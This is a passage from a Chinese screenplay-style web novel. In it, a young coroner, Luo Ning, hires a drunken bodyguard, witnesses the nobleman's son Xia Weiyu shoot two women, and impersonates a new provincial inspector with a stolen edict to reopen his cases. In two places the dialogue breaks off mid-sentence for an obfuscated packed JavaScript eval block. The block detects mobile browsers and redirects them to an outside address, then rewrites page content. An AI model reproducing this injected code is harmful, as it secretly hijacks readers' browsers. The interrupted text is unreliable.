欧阳兰兰:我雇的人只能保护我,保护不了你。 洛宁:哦,明白了,你是想跟我划清界限呀!那行!你先挑吧,等你挑完了,剩下的那个就是我的了。 欧阳兰兰走上前,将所有她看着顺眼、又看上去功夫很高的人全雇了下来。最后,只剩下角落里一个正在呼呼大睡的男人,见他浑身上下没一处干净的地方,欧阳兰兰掩住口鼻,对洛宁道。 欧阳兰兰:宁姐姐,这个人浑身滂臭,我可不要! 洛宁:唉,好吧!(走过去推了推那个男人)喂,这位大叔,醒醒!醒醒! 接连叫了几遍,男人方才睁开眼睛,一脸的不高兴。 公孙夕:谁呀?吵死了! 扑面而来的酒气,熏得洛宁想吐,她不由得皱起眉头。 洛宁:这位大叔,您喝了多少酒啊? 公孙夕:怎么?你也想喝呀?(眯起眼)小不点儿,你才几岁呀?你爹你娘呢?他们不管你吗? 欧阳兰兰:(笑)呵呵,这位大叔!你可是慧眼如炬,一眼就看出她是个没人管教的野丫头! 洛宁:(瞪了欧阳兰兰一眼,又耐着性子问)大叔,您在这里干什么呀? 公孙夕:我?(环顾四周,像是突然记了起来)噢,当然是在这里等活儿了。 洛宁:等什么活儿? 公孙夕:怎么?你想雇我?呵呵,小不点儿,我可不会陪你玩过家家。 欧阳兰兰:(笑)呵呵,宁姐姐,这位大叔怕你付不起他的钱呢! 洛宁:大叔,我请您喝酒,怎么样? 公孙夕:一个小娃娃想请我这个糟老头子喝酒?呵呵,这可真是一个新鲜事儿!说吧,你想干什么? 洛宁:我想请您当我的保镖。 公孙夕:我只打短工,不打长工。 洛宁:我也只雇您几天而已。 公孙夕:先给钱,后干活。 洛宁:您想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007400|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要多少? 公孙夕:一天二两,十天二十两。 洛宁:(指着欧阳兰兰雇的保镖)他们都是一天二钱,您却要一天二两,太贵了吧? 公孙夕:是你想雇我,当然由我说了算!爱给就给,不给拉到,别妨碍我睡觉了!(说完往后一靠,又闭上眼睛打盹儿) 洛宁:(回头问欧阳兰兰)欧阳兰兰,要不咱俩换一下? 欧阳兰兰:宁姐姐,就凭他这把岁数,我估计这里除了你之外,没人会雇他。你就当是行善积德、迁就一下他吧! 洛宁:唉,行吧!(对着公孙夕)那就依你了! 6-21 街道上(日,外) 人物:洛宁、欧阳兰兰、公孙夕、保镖若干 回付家的路上,公孙夕好奇地问洛宁。 公孙夕:小不点儿,你俩无缘无故为何雇这么多保镖?是不是得罪了什么人? 洛宁:您看我俩像是那种会惹是生非的人吗? 公孙夕:这东西用眼睛可看不出来!你俩一看就知道不是寻常人家的孩子,想干坏事的话,倒也容易。 洛宁:大叔,您在这座城里待了多久? 公孙夕:算来算去,少说也有十多年了。 洛宁:您认识城东夏家的那位公子吗? 公孙夕:城东夏家?(点点头)嗯,听说过,谈不上认识。怎么?你俩该不会是得罪他了吧?唉呀呀,那你俩可就惨喽! 洛宁:哦,为何这么说? 公孙夕:那位夏家的公子,在咱们这个地方,就跟宫里的太子差不多。得罪了太子爷,能有什么好下场呀? 洛宁:所以我才会雇您来保护我嘛,您可别让我的钱白花了。 公孙夕:要我说,三十六计走为上计。趁着他还没来找你们的茬,你们赶紧溜了吧! 洛宁:我的事还没办完,走不了。 公孙夕:你这个丫头,岁数不大,胆子倒是挺大。明知山有虎偏向虎山行,小心被老虎吃掉了! 洛宁:您若是害怕的话,趁早把钱退给我,我再另请高明。 公孙夕:你不是说想请我喝酒吗?(笑着拍拍胸脯)只要有酒,我就是武松,管它是老虎还是夏公子,来一个打一个!哈哈哈! 6-22 街道上(日,外) 人物:洛宁、欧阳兰兰、公孙夕、保镖若干、百姓若干 街上的告示栏里,新贴了几张告示,一群人正在围观,洛宁和欧阳兰兰也好奇地凑了过去。 洛宁:这位大哥,上面写了些什么呀? 百姓甲:河里刚刚捞起了一具女尸,官府正在寻找她的家人。 洛宁:女尸? 她望了一眼欧阳兰兰,两个人的心里都有些不安。 洛宁:她多大岁数? 百姓甲:跟你们差不多,唉,真可惜呀! 百姓乙:是啊!这么年轻就死了,她爹娘若是知道了,还不得哭死了?唉! 洛宁:(低声问欧阳兰兰)欧阳兰兰,你说这具女尸会不会就是那天在浴池里的那个女人? 欧阳兰兰:不会吧?那女人没准儿还活着呢! 洛宁:要不咱们去县衙里瞧瞧? 欧阳兰兰:瞧什么? 洛宁:认尸呗!你见过那个女人,肯定认得出来。 欧阳兰兰:(一听便慌了)那可是死人,我才不去呢! 洛宁:你不是想写书吗?这种事情不能仅凭想象,必须亲自去体验一下才行! 欧阳兰兰:我只想写言情小说,不想写鬼怪小说。 洛宁:太阳还没落山,鬼怪这会儿还不敢出来! 欧阳兰兰:那我也不去!那种地方多晦气呀,若是沾上了什么脏东西,岂不是要天天倒霉? 洛宁:谁说的!我不是样样都挺好吗? 欧阳兰兰:你是干这一行的,那些家伙还指望着你替它们伸冤,当然不会害你了! 洛宁:又不是你害死的她,她也不会找你。 欧阳兰兰:那就让夏微雨去认尸吧,他最合适了! 洛宁:欧阳兰兰,你到底去不去呀? 欧阳兰兰:不去! 洛宁:咱俩还是不是好姐妹? 欧阳兰兰:那你也不能逼着我去干我不乐意干的事呀!若换成了你,你会答应吗?更何况,我表哥还在县衙里呢,若是被他撞见了,怎么办呀? 洛宁:有他在,岂不是更方便?快走吧! 6-23 县衙(日,内) 人物:洛宁、欧阳兰兰、付先忧 洛宁硬架着欧阳兰兰来到了县衙里,向付先忧说明来意之后,他皱起了眉头。 付先忧:你俩想认尸? 欧阳兰兰:(指着洛宁)不是我,是她! 付先忧:洛姑娘,那具女尸跟你有何关系?你怎么会认识她? 洛宁正欲开口,却被欧阳兰兰抢了先。 欧阳兰兰:我们跟她没任何关系,她这么做,完全是出于好奇心。 付先忧:好奇心?洛姑娘,这可是活生生的一条人命,你就算是不同情她,至少也应该尊重一下她吧! 洛宁:我们只想看一眼而已,没别的意思。 欧阳兰兰:宁姐姐,你不也是仵作吗?何不亲自动手解剖一下呢? 洛宁:欧阳兰兰你…… 欧阳兰兰:(假装没听见,笑着对付先忧)表哥,看在咱们是亲戚的份上,不如让知县大人给宁姐姐通融一下吧!她不要薪水,只想拿那个女人的尸体练练手…… 付先忧:(脸倏地一沉)人命关天,岂能儿戏?这里是县衙,不是你们想怎样就怎样的地方!别说是你们,就算是我娘来了,也不许见!哼!(说完拂袖而去) 洛宁:欧阳兰兰,你可真狠呀! 欧阳兰兰:(得意地笑)我这个表哥,是名副其实的书呆子。他虽然不是官,却挺会摆架子,你越是跟他讲人情,他越是不近人情。像他这样的人,在当今的官场上,可谓是少之又少了。哈哈哈! 6-24 付府(夜,内) 人物:欧阳兰兰、洛青、洛宁、洛思思、付母、付先忧、公孙夕、保镖若干 见欧阳兰兰一下子从外面带回那么多人,洛青吓了一跳。 洛青:欧阳兰兰,这些人是谁呀? 洛宁:(没好气地)她从人力市场上雇的保镖,这下你可不用担心有人会欺负她了。 付母:一下子来了这么多人,家里怕是住不下。要不我去找隔壁的王夫人,看看她能不能借给咱们两间屋子? 欧阳兰兰:何必那么麻烦呢?我带着他们去住客栈不就行了! 洛宁:欧阳兰兰,你好不容易才来一趟你大姨家,理应在这里多住上几天。要不这样吧,姐、甜妞儿,咱们搬去客栈里。 洛青:嗯,也行。伯母年纪大了,让她来照顾我们,实在是不好意思。 付先忧也从县衙里回来了,一见到洛宁,他的脸倏地一沉,一句话也没说就进屋去了。 付母:(不解地)这孩子怎么了? 洛宁:(不仅不生气,反倒笑了起来)欧阳兰兰,看见没?你表哥也不想我们住在这里呢! 就这样,洛青带着洛宁、洛思思搬去了客栈里,欧阳兰兰只好继续留在她大姨家。 54. 第六篇 去泡温泉吧 梅州,登丘城 6-25 付府,客房(日,内) 人物:洛宁、欧阳兰兰 早上,洛宁来找欧阳兰兰,却得知她要跟洛青和洛思思一起去泡温泉。 洛宁:你说什么?!你不打算跟我一起去查案子了? 欧阳兰兰:查什么呀?我来这里是为了泡温泉,这两天没洗花瓣浴,我的脸都黄了。 洛宁:你不怕夏微雨来找你了? 欧阳兰兰:(指着门外的保镖们)有他们在,十个夏微雨来了,我也不怕!反倒是你,该担心一下自己,那老头儿的功夫也不知到底怎样,若遇上了夏微雨,可别被他一拳打趴下了! 洛宁:欧阳兰兰,你可是唯一的目击证人。 欧阳兰兰:偷窥的证据,岂能作数?宁姐姐,你别再白费唇舌了,我是铁定不会去了! 6-26 猎场(日,外) 人物:洛宁、公孙夕 无奈之下,洛宁只好自己带着公孙夕去寻找证据。听闻夏微雨去了城外猎场,他俩便跟着去了。为了不惊动夏微雨,他俩只躲在猎场外面的小树林里,用望远镜偷偷窥视。 洛宁:啧啧,这个夏微雨,策马扬鞭的样子还真挺帅呢!他若没有那个坏毛病,应该也是个不错的男人。 公孙夕:不错的男人?呵呵,你们这些不经事的小丫头,看人只看脸,哪里分得清好人和坏人! 洛宁:不看脸看什么?看人的心肠吗? 公孙夕:心肠那个东西,就更不靠谱了。 洛宁:那您倒是说说,该看什么? 公孙夕:看细微之处呀!好人不用装,坏人再怎么装也会露馅儿。 洛宁:可我怎么觉得,不管好人坏人都在装呢? 公孙夕:(笑)呵呵,因为大家都想活得久一点儿嘛! 6-27 猎场(日,内) 人物:夏微雨及其手下 夏微雨带着手下在林子里狩猎。他射箭的技艺非常好,百发百中,只一会儿工夫,林子里的猎物几乎全被他杀光了。 夏微雨:(悻悻地)哼,没意思! 手下:少爷,您别着急!瞧瞧那边! 夏微雨顺着他手指的方向望去,只见两个女子正弯着腰,在猎场的附近挖野菜。 夏微雨:(顿时来了劲儿)把她们带过来! 手下:是! 手下策马上前,一左一右包抄过去,两个女子见一下子来了这么多人,吓得魂飞魄散,掉头没命地往回跑,却被他们像羔羊一样,赶进了猎场里。 夏微雨举起弓箭,朝她们射了过去…… 6-28 猎场(日、外) 人物:洛宁、公孙夕 亲眼目睹夏微雨杀人之后,洛宁既震惊又愤怒。 洛宁:这个夏微雨,简直就是个疯子! 公孙夕:他娘就是个疯子,她儿子自然也是个疯子。 洛宁:他娘? 公孙夕:夏家世世代代只跟族内的人通婚,生下来的儿女或多或少都有些毛病。 洛宁:他的三个姐姐呢?是否也这样? 公孙夕:他的三个姐姐都是妾室所生,不过听说在出阁之前,也被他欺负得很惨,嫁了人之后,便再不敢回来了。 洛宁:就没人管管他吗? 公孙夕:怎么管?把他送进牢里吗?他可是夏家的独苗,夏家还指望着他传宗接代呢! 洛宁:传宗接代?呵呵,哪位姑娘嫁给了他,算是倒了八辈子的霉了! 公孙夕:丫头!要我说,你也该学学人家欧阳姑娘,事不关己高高挂起,何必非要捅这个马蜂窝呢? 洛宁:姑娘我可是督察府的人,眼里容不下一粒沙。 公孙夕:这里是梅州,又不是梁州。 洛宁:梅州的督察府不管这个吗? 公孙夕:梅州的老督察半年前已经离任,新督察还没来呢! 梅州,郊外 6-29 马车车厢(日,内) 人物:裴光年、小迢 一辆马车在路上缓缓前行。 小迢:少爷!前面就是登丘城了,要不今晚咱们就在这里住下吧! 裴光年:你是不是想泡温泉了? 小迢:嘿嘿!少爷,来到了梅州,若不泡一泡温泉、喝一杯梅州产的融雪茶,不就等于没来吗? 裴光年:以后这里就是咱们的家了,你想泡温泉喝茶的话,有的是机会!呵呵! 梅州,登丘城 6-30 茶楼(日,内) 人物:欧阳兰兰、洛青、洛思思、保镖若干 吃过午饭,见附近有一家装潢考究的茶楼,欧阳兰兰便提议进去喝杯茶解解腻,一行人进了茶楼,找了个雅间坐下,边喝边聊。 欧阳兰兰:到了登丘城,仅仅是泡温泉还不够,必须要喝上一杯梅州产的融雪茶,方才不虚此行。 洛思思:欧阳兰兰,你应该不是第一次来梅州了吧? 欧阳兰兰:有我大姨在,我想不来也不行呀! 洛思思:其实,有个亲戚在这里也挺不错,遇事还能有个照应。 欧阳兰兰:照应?得了吧!我表哥若是能有我哥一半的本事,我还用得着雇这么多保镖吗? 洛青:你表哥只是时运不济而已,并没有你说得那么差劲儿。 欧阳兰兰:青姐姐,我知道在你眼里,个个都是好人。但我表哥这个好人,还真是跟别的好人都不太一样!当年我爹见他们娘俩过得不好,有心想帮他,便将咱们欧阳世家名下的一个铺子交给他打理。结果呢?不出三个月,连本带利全赔光了!用我表哥的话说,大家的钱都来得不容易,我若赚了,岂不是太没良心了? 洛思思:赚了没良心,难道赔了就有良心? 欧阳兰兰:是啊,所以我说他笨嘛! 6-31 茶楼(日,内) 人物:欧阳兰兰、洛青、洛思思、夏微雨及其手下、保镖若干 喝完茶,三个人正打算离开茶楼,却见夏微雨带着一帮手下从外面闯了进来。见到他,欧阳兰兰先是一愣,接着便尖叫起来。 欧阳兰兰:啊—— 她的嗓门儿又尖又细,刺耳极了,周围的人纷纷捂住耳朵,就连夏微雨也被惹毛了,嘴里骂了句。 夏微雨:他妈的!有病呀! 他恶狠狠地瞪了欧阳兰兰一眼,带着手下离开了茶楼。 洛青:(呵斥)欧阳兰兰,你疯了吗?叫什么呀? 欧阳兰兰:青姐姐,我害怕! 洛青:怕什么呀?不是还有这么多保镖吗? 欧阳兰兰:(这才想起来)呀,我忘了! 洛思思:唉!欧阳兰兰,你这一招河东狮吼,可真是威力十足,我的耳朵都快被你震聋了! 洛青:可不是嘛!有这么一个绝活儿,还雇什么保镖呀?哼! 6-32 客栈,客房(夜,内) 人物:洛宁、洛青 回到客栈,洛青又开始训斥洛宁。 洛青:一天都没见着你的人影儿,哪去了? 洛宁:我在客栈里吃了睡、睡了吃,不行吗? 洛青:没到处乱跑? 洛宁:你若不信的话,可以去问公孙大叔嘛! 洛青:他是你雇的人,当然会替你说话。 洛宁:我给了他二十两银子,要不你也给他二十两银子,让他来盯着我。 洛青:我可没钱显摆,哼!(瞪了她一眼之后)明天你跟我们一起去泡温泉吧! 洛宁:我去泡温泉,公孙大叔怎么办?他可是个男的,进不了女宾浴场。 洛青:当初你该雇一个女保镖才对! 洛宁:我也这么想,可人都被欧阳兰兰抢走了,只剩下他一个,我不雇他雇谁呀? 洛青:早知道还不如让银华来了! 洛宁:顾云飞不让他来,关我什么事呀! 洛青:顾云飞什么时候对你这么放心了? 洛宁:(做鬼脸)因为他知道我只会窝里横呀,嘻嘻! 6-33 客栈,大堂(夜,内) 人物:洛宁、洛思思 洛思思从屋里溜了出来,洛宁正在楼下等着她。 洛宁:我姐睡了吗? 洛思思:已经睡了,咱们快走吧! 二人快步离开了客栈。 6-34 酒楼(夜,外) 人物:洛宁、洛思思 洛思思和洛宁来到一家酒楼前,见里面的生意十分红火。 洛思思:这个时候,竟然还有这么多人在这里吃饭,这家酒楼的东西应该很不错了。 洛宁:那咱们也进去尝尝吧! 6-35 酒楼,大堂(夜,内) 人物:洛宁、洛思思、裴光年、小迢 洛宁和洛思思进了酒楼,在大堂里找了个位置坐下。她们的邻桌,碰巧坐着裴光年和小迢。 小迢:(瞅着洛宁对裴光年)少爷您瞧,那姑娘长得可真漂亮! 裴光年:(瞪了他一眼)吃你的饭,别盯着人家看! 小迢撇撇嘴,悻悻地收回了目光。 6-36 酒楼,大堂(夜,内) 人物:洛宁、洛思思、裴光年、小迢 菜上来后,二人开吃。见洛思思狼吞虎咽,洛宁忍不住问。 洛宁:甜妞儿,你白天是不是没吃饭呀?我怎么觉得你像是饿极了呢? 洛思思:唉,别提了!跟欧阳兰兰在一起,我哪敢吃呀!甭管是什么,我只多吃一小口,她便会笑话我,害得我顿顿都没吃饱。 洛宁:跟欧阳兰兰在一起,你得学会装聋作哑,若把她的每一句话都放在心上,那就没法儿活了! 洛思思:我真佩服付大哥,他对欧阳兰兰怎么能做到那么包容?你说他对她到底是真好还是假好呢? 洛宁:此话怎讲? 洛思思:今天我们在浴场里泡温泉的时候,付大哥还特意给我们送来了一篮苹果,说是他亲手摘的。欧阳兰兰见苹果又小又丑,当即就扔了。青儿怕付大哥尴尬,忍不住说了她几句,可人家根本就不在乎。反倒是付大哥,只笑了笑,又将地上的苹果一个个捡起来,带回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17007401|194058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家去了。 洛宁:我也想吃苹果,你们怎么没让他给我留几个呀? 洛思思:经欧阳兰兰那么一闹,咱们大家都没吃成。不过你放心,下次付大哥再送什么东西过来,我一定给你留着。 洛宁:还有下次吗?我要是付大哥的话,连口水都不会给她喝!哼! 见洛宁和洛思思吃得正香,小迢对裴光年道。 小迢:啧啧,这二位姑娘可真能吃呀!咱们两个人还没她们一个人吃得多! 裴光年:穿黄衣裳的那位姑娘吃得多些,穿蓝衣裳的那位姑娘吃得并不多。 小迢:少爷,原来您也在盯着她们看呀,那您还说我? 裴光年:我是根据她们面前摆放的碗盘数量得出的结论。 小迢:这样也行?嘿嘿,您可真不愧是一府督察呀! 裴光年:嘘!小点儿声,别让人家听见了,我还没上任呢! 小迢:圣旨都下了,谁敢不尊称您一声大人呀?等去了钟秀城,您就不再是这里的客人、而是主子了!呵呵! 6-37 客栈,走廊上(日,内) 人物:洛宁、公孙夕、裴光年、小迢 第二天早上,洛宁跟公孙夕离开客栈时,裴光年和小迢也正好从屋里出来,洛宁背对着他们没注意,小迢却一眼认出了洛宁。 小迢:咦!少爷,这不是昨晚在酒楼里的那位姑娘吗?没想到她就住在咱们的对面! 裴光年:呵呵,是啊!难怪昨晚咱们回来时,她俩也跟在咱们的身后。 小迢:那老头儿是谁?她爹吗? 裴光年:应该不是,他俩长得一点儿也不像。 小迢:嗯,也是!那老头儿一副邋里邋遢的样子,怎么可能生出那么漂亮的女儿呢! 6-38 茶楼,雅间(日,内) 人物:洛宁、公孙夕 公孙夕去县衙里打探了一番之后,回来将情况告诉洛宁。 洛宁:事先并不知道? 公孙夕:(点点头)嗯。夏微雨说他事先并不知道那两个女人在他的猎场里,他的手下还以为那是野兽,便将她们射杀了。 洛宁:他能不能要点儿脸呀?说句实话有那么难吗? 公孙夕:对夏微雨这种人来说,那两个女人就跟他的猎物没什么分别。 洛宁:他既然这么爱杀人,怎么不去打仗呢?没准儿还能建功立业呢! 公孙夕:他的箭法那么好,倒也是个人才,只可惜心术不正,难成大器。 洛宁:知县大人呢?他也相信他的鬼话? 公孙夕:昨日在猎场里,除了夏微雨和他的手下之外,就只剩下你和我了,要不咱俩去作证? 洛宁:什么时候开审? 公孙夕:已经结案了。 洛宁:(吃惊)已经结案了?昨天才杀了人,今天就结案了,开什么玩笑! 公孙夕:夏家跟苦主达成了和解,给了他们一大笔丰厚的赔偿金。不得不说,夏家在处理这种事情上,还真是得心应手呢! 洛宁:也就是说,夏微雨干这种事情,早就不是一回两回了,而他们也都对此心知肚明。 公孙夕:正因为有人替他善后,夏微雨才能如此明目张胆。 洛宁:河里的那具女尸呢?查清楚她的身份没? 公孙夕:她是夏家茶场里的一位采茶姑娘。 洛宁:又跟夏微雨有关!这么明显的问题,知县大人看不出来吗? 公孙夕:丫头,你头一回来登丘城,不了解这里的情况。要知道,知县大人用来招待贵客的茶叶,可都是从夏家茶场里拿的! 6-39 客栈,客房(夜,内) 人物:洛宁、公孙夕 公孙夕从外面进入,洛宁正在屋里等着他。 洛宁:怎么样?打听到了吗? 公孙夕:他今晚去了百花羞。 洛宁:百花羞是什么地方? 公孙夕:登丘城里有名的风月场所。 洛宁:不用说,肯定又要干坏事了。咱们也赶紧去吧,争取能抓个现行,让他想赖也赖不掉! 公孙夕:丫头,有件事你可能还不太明白。 洛宁:什么事? 公孙夕:咱们要对付的不是夏微雨一个人,而是整个夏家和他们的爪牙。 洛宁:人是夏微雨杀的,不找他找谁? 公孙夕:只要有夏家在,你想扳倒夏微雨,谈何容易?哪怕你找到了夏微雨的罪证,夏家也能在他被定罪之前,让一切化为乌有。到那时,不仅夏微雨安然无恙,还有可能会给你自己带来灭顶之灾。 洛宁:那也不能眼睁睁地看着他杀人呀! 公孙夕:(嘿嘿一笑)丫头,看在你雇了我的份上,我给你支个招儿。 洛宁:哦,说来听听。 公孙夕:你不是想打老虎吗?就你这个头儿,在老虎面前,顶多算一只小鹿。想对付老虎,仅凭小鹿的力量远远不够,必须给它找一头狮子来! 洛宁:狮子?谁? 公孙夕:(斜了一眼对面的屋子)督察大人。 55. 第六篇 去泡温泉吧 梅州,登丘城 6-40 温泉浴场,男宾区(日,内) 人物:裴光年、小迢、洛宁、浴场伙计若干、百姓若干 裴光年和小迢正在泡温泉。 小迢:少爷,老爷若是知道您来梅州任职的事,肯定会以您为荣! 裴光年:(叹了口气)怎么会呢?他早就对我不抱希望了! 小迢:今非昔比嘛!再怎么样您都是他的儿子,又戒了那些坏毛病,连皇上都认可您了,还怕老爷不会重新接受您吗?等您在梅州干出了一番事业,没准儿老爷还会亲自过来接您回去呢! 裴光年:(目光中流露出淡淡的悲伤)回去了又能怎样?柔依不在,那个家对我来说,只剩下一个空巢。唉! 洛宁假扮成浴场的伙计,溜进二人的小院里,见二人正在水里舒舒服服地泡着,并没有注意到她,她便悄无声息地打开柜子,在里面飞快地翻找起来。 洛宁:在这里! 找到了想要的东西,她的心中大喜,把那东西往怀里一揣,这就要离去,却见裴光年从池子里上来,朝这边走了过来,她急忙转过身,背对着他。 裴光年:伙计,给我们沏壶茶! 洛宁:哦,好,客官请稍等!(嘴里答应着,一溜烟儿跑了出去) 见柜门虚掩,裴光年心头一惊,忙打开查看,发现里面竟然少了一样极重要的东西。 裴光年:是那个伙计!他偷了圣旨! 他拔腿追了上去,浴场里人很多,他的拳脚施展不开,几次差点儿撞上了旁人,惹来阵阵责骂。那个伙计像泥鳅一样,跑得飞快,一会儿便淹没在了人群中。浴场里的伙计不止一个,身上都穿着同样的衣裳,裴光年被弄糊涂了:到底哪个才是偷了他东西的小贼?他一直追出门外,也没看见那家伙的影子,见路人纷纷望着他笑,他这才意识到自己还没穿衣裳,又急忙退回屋里,心中懊恼不已。 6-41 温泉浴场(日,外) 人物:洛宁、公孙夕 洛宁从浴场里出来时,公孙夕正在外面等着她。 公孙夕:怎么样?拿到了吗? 洛宁:(上气不接下气)唉呀,吓死我了,差点儿被他抓住了!(掏出怀里的圣旨)您看看,是不是这个? 公孙夕:(点头)没错,就是这个。他没看见你的脸吧? 洛宁:(摇头)没有,我背对着他呢! 公孙夕:(笑着夸她)呵呵,小机灵鬼!那么接下来,咱们要做的事,就是把老虎和狮子关进一个笼子里去! 洛宁:大叔,有件事情我不太明白。 公孙夕:什么事?你说! 洛宁:您怎么知道他是新来的督察大人? 公孙夕:昨日我见他身边的那个小子总盯着你看,怕他没安好心,便趁着他们下楼吃饭的工夫,偷偷溜进他们的屋子里查看了一番,才意外地发现了这个。 洛宁:(竖起大拇指)嘻嘻,大叔,真有您的! 6-42 街道上(日,外) 人物:裴光年、小迢 裴光年和小迢离开了浴场,在街上匆匆地走着。 小迢:少爷,怎么办?要不咱们去报官吧? 裴光年:(心烦意乱)怎么报?告诉知县大人,咱们把圣旨弄丢了吗? 小迢:那可怎么办呀?若没了圣旨,您怎么去钟秀城里上任呀? 裴光年:贼的意图很明显,他只偷走了圣旨,对咱们的盘缠分文未取,可见他不是为钱而来。 小迢:不为钱,那为什么?难不成他也想当督察? 裴光年:冒充朝廷命官可是死罪,我谅他也没这个胆子! 小迢:既不能报官,又不能去钟秀城,这可怎么办呀? 裴光年:还能怎么办?当然是自己去找了!唉! 6-43 县衙(日,内) 人物:彭知县、洛宁、公孙夕、公差若干 一个衙役从外面匆匆进来,向知县大人禀报。 衙役:大人!督察大人来了! 彭知县:督察大人来了?快快快,快去迎接!(刚走到门口,又停下脚步)咦,不对呀!督察大人不是已经离任了吗?怎么又回来了?该不会是个骗子吧? 话音刚落,却见一个脸上戴着墨镜、蓄着一撮小胡子的男人,在一位独眼老者的陪同下,大踏步走了进来。 洛宁假扮的裴督察:你说谁是个骗子呀? 彭知县:(吓了一跳)呀!这位小哥是…… 洛宁假扮的裴督察:(拿出圣旨在彭知县的眼前晃了晃)你自己看吧! 彭知县:(接过圣旨展开一看,脸顿时变得通红,忙拱手作礼)唉呀呀,原来是督察大人大驾光临!下官有失远迎,望督察大人见谅! 洛宁假扮的裴督察:彭大人,你可真是有眼不识泰山呀! 彭知县:(满脸堆笑)是啊是啊!下官眼拙,望督察大人莫怪! 彭知县毕恭毕敬地将督察大人迎进屋里,又泡了一杯上等的好茶,亲手端给他。 彭知县:裴大人,请慢用! 洛宁假扮的裴督察:(瞅了一眼茶汤)这是什么呀? 彭知县:回大人,这是我们梅州产的融雪一枝梅,出自最有名的夏家茶场。 洛宁假扮的裴督察:夏家茶场? 彭知县:是啊!您瞧瞧这叶片,全都是嫩芽,跟每年进贡给宫里的茶叶一模一样! 洛宁假扮的裴督察:啧啧!彭大人,你连皇上喝的茶叶都有,看来你在登丘城里的日子过得不错呀! 彭知县:呵呵,让大人您见笑了!这些茶叶下官平日里只敢偷偷地存一点儿,哪敢自己喝呀?也就是像您这样的贵客来了,才敢拿出来献丑。呵呵! 洛宁假扮的裴督察:是吗?那本官可要谢谢彭大人的美意了!(话锋一转)只不过,本官不喝这个茶! 彭知县:(微微一愣)哦,不喝这个茶?为……为何呀? 洛宁假扮的裴督察:实不相瞒,本官此次来登丘城,就是冲着这个茶来的。 彭知县:什……什么意思?还请大人明示! 洛宁假扮的裴督察:(神秘兮兮地冲彭知县招招手)你过来,凑近点儿!本官告诉你! 彭知县急忙上前,竖起耳朵仔细听。 洛宁假扮的裴督察:(压低声音)其实,本官与夏家之间,有一些私人恩怨。 彭知县:(吃惊)私人恩怨?是……是什么? 洛宁假扮的裴督察:你知道就行了,何必问那么多呢? 彭知县:(会意)哦哦,下官明白了!那么大人您这次来登丘城,是打算…… 洛宁假扮的裴督察:当然是新账旧账一起算了!你听明白了吧? 彭知县:哦,这样啊!那大人您打算怎么办呀? 洛宁假扮的裴督察:本官原打算去钟秀城上任之后,再过来找你,不过路过此地时,意外地听闻夏家的公子又犯了事,便直接过来了。事先没通知你,你应该不会怪本官吧? 彭知县:下官不敢!大人您虽然还没有上任,但皇上的圣旨已下,您就是咱们梅州的督察,谁也不敢说您不是! 洛宁假扮的裴督察:问题是你喝着夏家的茶叶,怎么替本官办事呀? 彭知县:这个您尽管放心!下官虽然喝着夏家的茶叶,但下官与夏家之间并无任何瓜葛! 洛宁假扮的裴督察:真的吗? 彭知县:大人您若是不信,下官这就把夏家的茶叶全扔掉,从此后再不喝他们的茶了! 洛宁假扮的裴督察:得罪本官的,是夏家的人,又不是夏家的茶,何必多此一举呢? 彭知县:是是是,大人您说得极是!那个夏家的公子…… 洛宁假扮的裴督察:本官听闻他杀了人,怎么回事? 彭知县:哦,是这样的。人不是他杀的,是他的手下杀的。 洛宁假扮的裴督察:他的手下杀的?你确定? 彭知县:回大人的话,他的手下已经认罪了。 洛宁假扮的裴督察:这样啊,那你们把他抓起来没? 彭知县:这…… 洛宁假扮的裴督察:怎么了? 彭知县:回大人的话,因为夏家跟苦主之间已经达成了和解,所以…… 洛宁假扮的裴督察:所以你们就没抓他,是不是?(拍桌子)胡闹! 彭知县:大人!大人!请您听下官细说! 洛宁假扮的裴督察:(故作恼怒)还有什么好说的?杀了人竟然可以逍遥法外,朝廷的律法在你们登丘城,是不是行不通呀? 彭知县:不是不是!大人,请您息怒!且听下官禀报! 洛宁假扮的裴督察:说!若胆敢有一点点徇私枉法之处,本官连你一同治罪!哼! 彭知县:是是是!下官不敢!下官不敢!大人,事情是这样的!那日夏家的公子带着他的手下去城外狩猎,两名村妇不知那个地方是夏家的猎场,意外地闯了进去,被他的手下误当成猎物射杀了。 洛宁假扮的裴督察:你的意思是,这件事只是一桩意外? 彭知县:回大人,正是一桩意外。 洛宁假扮的裴督察:那两名村妇闯进夏家的猎场,谁看见了?你吗? 彭知县:下官当时不在场,怎么可能看见呢? 洛宁假扮的裴督察:既非你亲眼所见,又如何认定是她们闯了进去?人证物证什么都没有,仅凭夏家人的一面之词,你就把案子给结了?(拍桌子)简直太荒唐了! 彭知县:(见督察大人发怒,急忙跪下)求大人恕罪!因为当时在猎场上除了夏家的人之外,再无他人,加上苦主也愿意和解,所以下官才没有再追究。大人您若是觉得不妥,下官这就命人重新调查! 洛宁假扮的裴督察:当然要重新调查!不仅是这个案子,所有与夏家有关的案子,全都要重新调查一遍! 彭知县:啊!那……那样岂不是太费劲了? 洛宁假扮的裴督察:听你这意思,夏家应该犯了不少事吧? 彭知县:这…… 洛宁假扮的裴督察:彭大人,本官都没嫌费劲,你嫌什么呀?是不是想包庇夏家? 彭知县:哦,不不不!下官不敢!既然大人您想重新调查,下官照办便是! 6-44 县衙(日,内) 人物:洛宁、公孙夕 彭知县命人将所有与夏家有关的案卷,全找了出来,呈给督察大人过目。 